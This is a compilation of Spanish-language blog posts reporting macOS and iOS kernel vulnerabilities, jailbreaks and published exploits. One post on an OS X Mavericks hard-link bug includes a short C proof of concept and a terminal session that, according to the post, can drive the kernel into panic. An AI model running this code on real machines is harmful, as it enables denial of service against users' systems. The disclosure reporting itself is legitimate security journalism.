Google revela un grave fallo de seguridad en el kernel de macOS ... 90 días después de avisar a Apple

Google Project Zero es un departamento de seguridad informática de Google que se encarga de buscar fallos de seguridad en sus propios productos o incluso otros fabricados por otras firmas que tengan alguna relación con ellos. Cuando se encuentra un fallo o vulnerabilidad de software, primero se se comunica a nivel privado al afectado dándole 90 días para solucionarlo. Si el plazo expira, entonces se publica. Justo lo que ha pasado en este caso con Apple.

Project Zero ha encontrado (y publicado incluso una PoC) que si una imagen de sistema de ficheros (filesystem) de macOS propiedad de un usuario es modificada, el gestor de la memoria virtual no es informado de dicho cambio, lo que significa que un atacante podría realizar algún tipo de acción sobre dicho sistema de ficheros sin que este lo notara. Resumiendo mucho, el kernel de macOS XNU, permite realizar Copy-On-Write (COW, una técnica de optimización que en principio no es peligrosa, pero recordemos el famoso caso Dirty COW). Vamos a ver un poco más a nivel técnico donde radica entonces el problema.

Figura 1. Fecha de la publicación de la vulnerabilidad (marcada en rojo) por parte de Project Zero. Fuente.

Este comportamiento COW funciona no sólo con la memoria anónima, sino también con las asignaciones de ficheros. Es decir, después de que el proceso de destino haya comenzado a leer los datos desde el área de memoria transferida, según la carga ejercida sobre dicha memoria esta puede hacer que estas sean eliminadas de la memoria caché. Esto significa que un atacante podría "mutar" o realizar cambios sobre un fichero en el disco sin informar al gestor de la memoria virtual de dichos cambios. El kernel de Linux tiene varias interfaces que permiten la creación la copia de datos entre procesos. Por eso es importante que la memoria copiada esté protegida por el proceso origen contra modificaciones posteriores. 

Apple fue informado, tal y como hemos contado antes, 90 días antes dentro del plazo que ofrecen desde Google Project Zero, es decir, en noviembre de 2018 (figura 1). Apple no realizó las modificaciones oportunas así que la vulnerabilidad fue publicada con la etiqueta de "alta severidad". Finalmente, después de hacerse pública, Apple está trabajando junto a Project Zero en un parche para remediarlo en futuras versiones de macOS.

Jailbreak en iOS11: Qué es realmente

Hace unos días se hacían públicas las versiones beta del nuevo sistema operativo de Apple, iOS 11. Además de todas las nuevas características que incorpora, una de las cosas de las que más se ha hablado, es de la aparición de un nuevo Jailbreak, antes incluso, de que saliera la versión final del OS. Los Jailbreak llevan años siendo un tema recurrente en todas las versiones de iOS que se publican, pero ¿qué son técnicamente hablando? En el artículo de hoy vamos a ver los fundamentos de esta técnica, así como las consecuencias en relación con la seguridad que tiene aplicarla a nuestros dispositivos.

El proceso de investigación para “crear un Jailbreak” difiere muy poco del que se utilizada para encontrar una vulnerabilidad en un sistema operativo cualquiera y explotarla. En su esencia, un Jailbreak no es más que eso, un fallo en el sistema operativo que permite la ejecución arbitraria de código con máximos privilegios. Aprovechando esta capacidad, se modificarán ciertas variables que evitan la instalación de binarios de terceros, protegen la ejecución o la escritura en determinadas páginas de memoria o limitan las capacidades de los procesos que se ejecutan.

El proceso de investigación comienza por definir los fallos de seguridad que son interesantes para poder realizar las tareas que se requieren para llevar a cabo el Jailbreak, normalmente suelen ser fallos relacionados con corrupciones de memoria o ejecución de código en el kernel del sistema operativo. Para descubrir este tipo de fallos, se suelen emplear diferentes técnicas, como debuggear el kernel. Puesto que no estamos hablando de un pc común, la aplicación de estas técnicas no es trivial, y normalmente requieren hardware específico y customizado para poder acceder a los distintos componentes del terminal.

Figura 1: iOS Kernel Exploitation

Una vez se ha identificado un fallo, normalmente en el código del kernel, comienza el momento de la explotación. Esta fase varía mucho en función del fallo que se haya encontrado, pero el objetivo final es conseguir ejecutar código arbitrario en el sistema operativo. Puesto que nos encontramos en espacio de kernel, el código que se ejecute allí lo hará con privilegios elevados. Una vez conseguido todo lo anterior, se debe realizar la última parte, que es realmente donde el Jailbreak tiene lugar. En esta fase se modificarán ciertas propiedades del sistema operativo para que se comporte de una manera distinta a la que lo hace por defecto, normalmente consiste en desactivar algunas de las medidas de seguridad de las que dispone.

En conclusión, lo que realmente estamos haciendo cuando aplicamos un Jailbreak a nuestro terminal, es hacer uso de un exploit, que aprovecha una vulnerabilidad para ejecutar código con permisos elevados y desactivar muchas de las medidas de protección que el dispositivo tiene incorporadas por defecto. Aunque aplicar este tipo de técnicas permite al usuario tener mayor libertad para instalar aplicaciones de terceros, y otra serie de características, el terminal será mucho más inseguro ante amenazas externas, por lo tanto, si almacenas información importante en tu teléfono, el Jailbreak puede no ser recomendable.

Escaladas de privilegios y fallos en el kernel de macOS en abril

El interés por descubrir vulnerabilidades y formas de explotar fallos en los sistemas Apple ha crecido, de eso no cabe la menor duda. Si nos fijamos en sitios como Exploit-db o 0day.today podemos ir encontrando diferentes vulnerabilidades a lo largo del tiempo. El mes de abril y el final del mes de marzo está siendo especialmente duro para los sistemas de Apple ya que, además de un gran número de actualizaciones y despliegues de urgencia, tenemos una serie de vulnerabilidades publicadas, algunas a la espera de exploit. En el artículo de hoy hablaremos de las diferentes vulnerabilidades que podemos encontrar visitando estos bancos de vulnerabilidades.

En Exploit-db podemos encontrar 6 vulnerabilidades para sistemas macOS en lo que llevamos de mes de abril. Sin duda, interesante. Algunas de las vulnerabilidades permiten la ejecución de código y la escalada de privilegios dentro del sistema. La mayoría de las vulnerabilidades que se pueden encontrar en la plataforma afectan al kernel del sistema operativo.

Figura 1: Vulnerabilidades de macOS en abril en Exploit-db

No dudes en actualizar tu sistema operativo cuando tengas actualizaciones. El riesgo cada vez es mayor y cada vez existen un mayor número de vulnerabilidades, lo cual es interesante e importante, ya que hay una mayor investigación y protección para el usuario final. Si no has actualizado a la última versión de macOS, hazlo lo antes posible.

Nuevo Jailbreak para iOS 10.1 y 10.1.1 en iPhone 7

Durante mucho tiempo hemos visto que las noticias que habían sobre el Jailbreak a iOS 10 venían con el investigador Luca Todesco de la mano. Eran noticias dónde el investigador mostraba su Jailbreak personal ejecutando, por ejemplo, iOS 10, aunque anteriormente fueran otras versiones de iOS. Hoy hablamos de una de las noticias del mes en el mundo Apple, un investigador llamado @ijapija00 ha mostrado un Jailbreak en un iPhone 7 Plus, que se encuentran ejecutando la versión iOS 10.1. Además, el investigador afirma que dicho Jailbreak funciona también en la versión 10.1.1, lo cual sería algo normal en este caso.

Esta demostración de Jailbreak se basa en un solo exploit y está considerado como estable, lo cual es un logro interesante y brillante, teniendo en cuenta que iOS 10 implementa la protección KPP, protección de parches del kernel. Esta medida de protección se sabe que es para causar inestabilidad en Jailbreak incorrectamente implementados. En el video, el investigador está utilizando una biblioteca alternativa especializada que puede funcionar con el firmware más reciente. Esto permite que los ajustes de Jailbreak se ejecuten a pesar de que Cydia Substrate aún no esté actualizada para trabajar en el último sistema operativo.

Figura 1: Demo de Jailbreak en iOS 10.1 sobre iPhone 7

Hay que destacar una cosa y es que el investigador utiliza un conjunto de aplicaciones de terceros para consultar la versión del sistema operativo, en vez de utilizar el clásico Ajustes - General - Información. Esto ha causado que algunos no den toda la credibilidad que parece al vídeo, por lo que tendremos que tenerlo en cuenta. El investigador, por otro lado, ha comentado que el exploit ha sido construido solo por él, y que liberar y mantener el Jailbreak de forma pública es mucho trabajo y una gran carga de riesgo y responsabilidad. En los comentarios del vídeo, se puede observar el alegato que hace el investigador, dónde explica por qué de momento no lo hará público. Cabe destacar que indica que el Jailbreak funciona a veces y en otras ocasiones no, por lo que lo entiende como una fase beta.

OverSky Jailbreak para iOS 9.3.4

Tenemos un nuevo Jailbreak para iOS 9.3.4. El desarrollador Min Zheng ha publicado un video de demostración en el que se puede ver como se realiza un Jailbreak a iOS 9.3.4. En este video se muestra como se instala Cydia en un dispositivo iPhone 6. El Jailbreak está siendo apodado como OverSky, también conocido como Flying. En el video, el cual podéis visualizar más abajo en este artículo, se puede ver como el proceso es sencillo y cómo se lleva a cabo la instalación de Cydia.

La aplicación que se puede ver en el video se denomina OverSky y es la encargada de poner en marcha el exploit con las acciones requeridas para llevar a cabo el Jailbreak. El mensaje es curioso y llamativo "Exploiting Kernel". Una vez que la aplicación ha finalizado su cometido, el dispositivo vuelve a la pantalla de inicio, la cual ya contiene el icono de Cydia. Cydia se muestra también en funcionamiento en el propio video sin ningún problema, lo cual hace pensar que es estable. No se sabe mucho acerca del nuevo Jailbreak a través de OverSky, por lo que no se sabe si Untethered o Tethered. 

Figura 1: Vídeo de PoC de Jailbreak en iOS 9.3.4

El último caso de Pangu y su Jailbreak para iOS 9.3.3 era semi-tethered, y se desconoce si este nuevo Jailbreak es totalmente untethered. Ahora la gran pregunta, ¿Min Zheng liberará el código? Muchos piensan, basándose en los Jailbreak de Luca Todesco, que este hecho no se llevará a cabo, pero tendremos que esperar para ver qué ocurre.

Google Project Zero libera 9 exploits para el kernel de OSX

La gente de Project Zero no descansa y han liberado una serie de exploits, en total 9, que explotan vulnerabilidades encontradas en OS X. Desde Stack Buffer Overflow que afectan a drivers de la tarjeta de video, hasta Use After Free que permiten tomar el control de la máquina elevando el privilegio. Las vulnerabilidades no afectan a la última versión de OS X El Capitan, pero deja claro que Google sigue mirando con lupa hacia el sistema operativo de Apple.

Podemos decir que esto es algo positivo, ya que fuerza a la empresa de Cupertino por mirar más allá y no dejar este tipo de fallos sin parchear. Los exploits se encuentran escritos en lenguaje C y como se ha mencionado anteriormente permiten elevar privilegios. Todos tienen explotación en el kernel de OS X, por lo que se consigue ejecutar código en un contexto privilegiado. En la imagen puede visualizarse el listado completo de exploits y vulnerabilidades.

Figura 1: Listado de exploits de Junio para el kernel de OS X

Los exploits se pueden encontrar en el sitio web exploit-db. Todos fueron publicados en la misma fecha y se trata de cuatro NULL pointer dereference, dos NULL dereference, un OOB Read of Object Pointer, un Use After Free y, quizá el que más llame la atención, un Stack Buffer Overflow. Hoy en día siguen apareciendo Buffer Overflow cómo se pudo ver con OSB Rastreator y el estudio de las funciones inseguras.

El kernel de iOS 10 estará sin cifrar.. por eficiencia

El pasado miércoles, un artículo del MIT, explicaba que los investigadores que estaban mirando e investigando sobre la nueva versión del sistema operativo iOS 10 se encontraron con que el kernel no estaba cifrado. Esto es algo contrario a lo que ha ocurrido, históricamente, con las versiones de iOS. Esto puede simplificar el trabajo de una persona que quiera buscar fallos de seguridad en la parte clave del sistema operativo. El artículo del MIT indica que es altamente probable que sea una nueva estrategia de la compañía para incentivar que otros busquen vulnerabilidades. 

No sería una estrategia mala ni un fallo por parte de Apple dejar esta pieza del software sin cifrar. Conseguir que los mejores investigadores y reversers puedan observar tu código y ayudarte a encontrar fallos es, segurmente, una brillante estrategia. Incluso podría haber la posibilidad de algún tipo de bug bounty, con el que beneficiar a los investigadores activos. Por su parte, Apple indicó que el kernel no contiene información de los usuarios, por lo que el que esté o no cifrado no afecta a la privacidad de éstos.

Figura 1: Se descubre que el kernel de iOS 10 está sin cifrar

No cifrar el kernel es una modificación de Apple totalmente consciente. Lo que no ha quedado claro es por qué ahora Apple decide dejar el kernel abierto. Hay especulaciones que hacen pensar en que la batalla entre el FBI y Apple es una victoria para los primeros. Según indica Jonathan Zdziarski, Apple podría querer que las vulnerabilidades se destapen antes, y que no se las quede nadie para su propio beneficio, ya que ahora sería más sencillo encontrarlas.

¿Qué significa todo esto? El kernel es el componente con mayor privilegio, el cual se encarga de controlar qué aplicaciones pueden utilizar el hardware en un dispositivo y, por supuesto, también refuerza la seguridad del dispositivo. Apple siempre ha utilizado cifrado en las versiones anteriores de iOS para proteger este componente de ojos extraños. De esta forma se ocultaba cómo trabajaba el kernel del sistema. Una cosa debemos entender y es que el kernel no esté cifrado no significa que la seguridad de iOS 10 esté comprometida, son cosas totalmente distintas. Lo que sí ocurre, es que investigadores de seguridad tendrán un poco más fácil el poder encontrar fallos de seguridad. Seguramente podamos ver más Jailbreaks, pero también veremos como Apple arregla de forma más prematura estos fallos.

Escalada de privilegios en OS X: Apple Intel HD 3000 Graphics driver

Hoy traemos uno de esos artículos tipicos que salen de vez en cuando: una escalada de privilegios en OS X. La vulnerabilidad CVE-2016-1743 ha sido publicada por los investigadores Piotr Bania y Cisco Talos. Apple ha proporcionado un sitio web dónde consultar los detalles de la vulnerabilidad y en qué versión del Security Update se ha solucionado. La vulnerabilidad afecta a la versión del sistema operativo OS X 10.11.3 y anteriores, los cuales cuenten con el driver de Intel HD 3000 Graphics. 

La prueba de concepto se encuentra disponible en Internet y el exploit lo podemos encontrar en sitios como exploit-db o  oday.today. La vulnerabilidad permitía a un potencial atacante ejecutar código arbitrario en un contexto privilegiado, como es el contexto dónde ejecuta el driver de Intel. Además, y como es lógico, también puede causarse la denegación de servicio del driver produciendo un memory corruption.

Figura 1: Exploit para driver en OS X 10.11.3

El exploit ha sido liberado el pasado 8 de Abril, una vez que Apple e Intel han solucionado los problemas que tenía respecto al driver. Recomendamos que actualicéis vuestros equipos Mac a la última versión de El Capitan, la cual es la versión 10.11.4. De esta forma solventaréis el riesgo que supone este driver. Es cierto que para que se puede lograr explotar la vulnerabilidad se tiene que estar físicamente delante de la máquina o una sesión no privilegiada en remoto, por la que se pueda lanzar el exploit como si se estuviera en local. Este tipo de ejemplos los hemos visto en otras ocasiones, por ejemplo el caso del bypass del sudo o el caso de DYLD_PRINT.

Apple corrige el problema que bloqueó el puerto Ethernet

Justo ayer hablábamos de lo que se comentaba en los foros de Reddit y del problema del puerto Ethernet en la última actualización de los iMac y MacBook Pro. Apple ha decidido emitir una corrección o un fix para volver a tener disponible el puerto Ethernet deshabilitado. La configuración de la extensión 3.28.1 hacía que el puerto quedara inhabilitado, y si esto le ha ocurrido debe bajarse el nuevo parche, la extensión 3.28.2. 

En los portátiles es común no encontrarse ya este tipo de puertos, aunque hay adaptadores, pero en el caso de los equipos de escritorio Apple incluye un puerto Ethernet. Por suerte, los equipos de hoy en día tienen conexión WiFi también, por lo que se puede seguir teniendo conexión a Internet a través de dicho adaptador. 

Figura 1: Ethernet en un Mac

Para llevar a cabo la instalación de la actualización vía WiFi se deben realizar los siguientes pasos:

1. Abrir un terminal, Applications > Utilities. 
2. Ejecutar el siguiente comando sudo softwareupdate -background.

Esto actualizará, gracias a la conexión vía WiFi, la extensión incompatible del kernel a la versión 3.28.2, el cual corrige el problema. Es sin duda la noticia de la semana en el mundo Apple, ya que muchos usuarios se han visto afectados por este error en la actualización del software.

Google libera exploits para atacar a OS X El Capitan 10.11

Hace una semana Apple liberó actualizaciones de seguridad. Se liberó OS X El Capitan 10.11.3, Security Update 2016-001, iOS 9.2.1 y Apple Safari 9.0.3. Casi 30 vulnerabilidades fueron resueltas con las actualizaciones. Tanto los sistemas operativos OS X como iOS se vieron afectados por diversas vulnerabilidades.

El pasado 28 de Enero, el equipo de Google Security ha hecho público los exploits que afectaban al kernel de OS X El Capitan. Dichos exploits pueden encontrarse en Exploit-DB. Las vulnerabilidades del kernel permitían a un posible atacante obtener o ganar un privilegio en el sistema. Los exploits publicados pueden ser utilizados para probar la vulnerabilidad en entornos OS X El Capitan previos a la versión 10.11.2. A continuación se enumeran los diferentes exploits que han sido publicados:

• OS X Kernel - IOAccelMemoryInfoUserClient Use-After-Free. 
• OS X Kernel - no-more-senders Use-After-Free.
• OS X Kernel - IOAccelDisplayPipeUserClient2 Use-After-Free.
• OS X Kernel - Hypervisor Driver Use-After-Free.
• OS X - IOBluetoothHCIUserClient Arbitrary Kernel Code Execution.
• iOS/OS X - Unsandboxable Kernel Code Exection Due to iokit Double Release in IOKit.
• OS X - IOSCSIPeripheralDeviceType00 Userclient Type 12 Exploitable Kernel NULL Dereference.

Figura 1: Listado de exploits publicados para OS X El Capitan

Seguramente pronto podamos tener los exploits disponibles para Metasploit, lo cual simplificaría, en algunos casos, su ejecución. En Seguridad Apple ya  hemos tenido ejemplos como el de DYLD_PRINT_TO_FILE o el de Rootpipe II.

Hard Link Memory Corruption en Apple OS X Mavericks

Es conocido que en la mayoría de los sistemas *NIX un enlace duro a un directorio está reservado para el usuario root, cuando se indica un path absoluto. En Mac OS X 10.6 existía una vulnerabilidad de este tipo, la cual se encuentra documentada en el siguiente CVE-2010-0105. La semana pasada ha sido descubierta una vulnerabilidad en Mac OS X 10.9 Mavericks, el cual provoca un kernel panic al intentar listar un enlace duro con recursividad infinita. Como se puede leer en la Wikipedia, para evitar la recursividad infinita, los sistemas operativos más modernos no permiten enlaces duros a directorios.

Además, los enlaces duros en los directorios conducirían a la inconsistencia en las entradas del directorio padre. La excepción confirmada es Mac OS X 10.5 Leopard, el cual utiliza enlaces duros a directorios para el mecanismo de copia de seguridad Time Machine, solamente.  Conocido esto, hay que decir que el investigador Maksymilian Arciemowicz ha descubierto que en Mac OS X 10.9 se puede crear un enlace a disco provocando recursividad infinita, con un sencillo código en C. El código lo exponemos a continuación.

#include 
#include 

void usage(const char* program)
{
    const char* message = " [src_dir] [target_dir]";
        fprintf(stderr, "%s%s\n", program, message);
}

int main(int argc, char* argv[]) {
    if (argc!=3) {
        usage(argv[0]);
            return 1;
    }
    
    int ret = link(argv[1],argv[2]);
    
    fprintf(stderr,"link(3) return= %d\n", ret);

    return ret;
}

El autor opina que es un fallo de seguridad y que Apple debería corregirlo, aunque Apple no ha concedido esto como vulnerabilidad y  en la lista Bugtraq se ha debatido el porqué del problema: "los enlaces duros de directorios no pueden tener el mismo padre". La ejecución de dicha vulnerabilidad con el código se puede visualizar a continuación:

mac-cxs-XK:pochd XK$ gcc -o test test.c
mac-cxs-XK:pochd XK$ ls
test test.c
mac-cxs-XK:pochd XK$ mkdir DIR1
mac-cxs-XK:pochd XK$ ./test DIR1 Hardlink1
link(3) return= -1
mac-cxs-XK:pochd XK$ mkdir DIR1/DIR2
mac-cxs-XK:pochd XK$ ./test DIR1/DIR2 Hardlink2
link(3) return= 0
mac-cxs-XK:pochd XK$ cd DIR1
mac-cxs-XK:DIR1 XK$ mkdir DIR2/DIR3
mac-cxs-XK:DIR1 XK$ ../test DIR2/DIR3 Hardlink3
link(3) return= 0
mac-cxs-XK:DIR1 XK$ cd DIR2
mac-cxs-XK:DIR2 XK$ mkdir DIR3/DIR4
mac-cxs-XK:DIR2 XK$ ../../test DIR3/DIR4 Hardlink4
link(3) return= -1

Puede haber muchas consecuencias negativas que se obtienen del mal manejo del enlace duro. Se sabe que existe la vía de agotar los recursos del sistema a través de dicha vulnerabilidad, pudiendo causar bloqueos de aplicaciones, o como se produce con esta vulnerabilidad kernel panic. Habrá que esperar a una nueva actualización de OS X Mavericks. 

Explotación de vulnerabilidades en iOS 6: 280 días después

Ese es el título de la charla que Stefan Esser, conocido exploiter de iOS, ha impartido en la pasada CanSecWest Security Conference 2013, de la que se han publicado ya todas las presentaciones. Dicha conferencia, que hemos subido a SlideShare para que puedas disfrutar online, continua la línea de trabajo de la conferencia dada por Mark Dowd sobre estrategias de explotación del kernel de iOS.

iOS 6 Exploitation: 280 days later disponible en el SlideShare de Seguridad Apple

La conferencia está disponible para descarga desde la siguiente URL en formato PDF:

- iOS 6 Exploitation: 280 days later.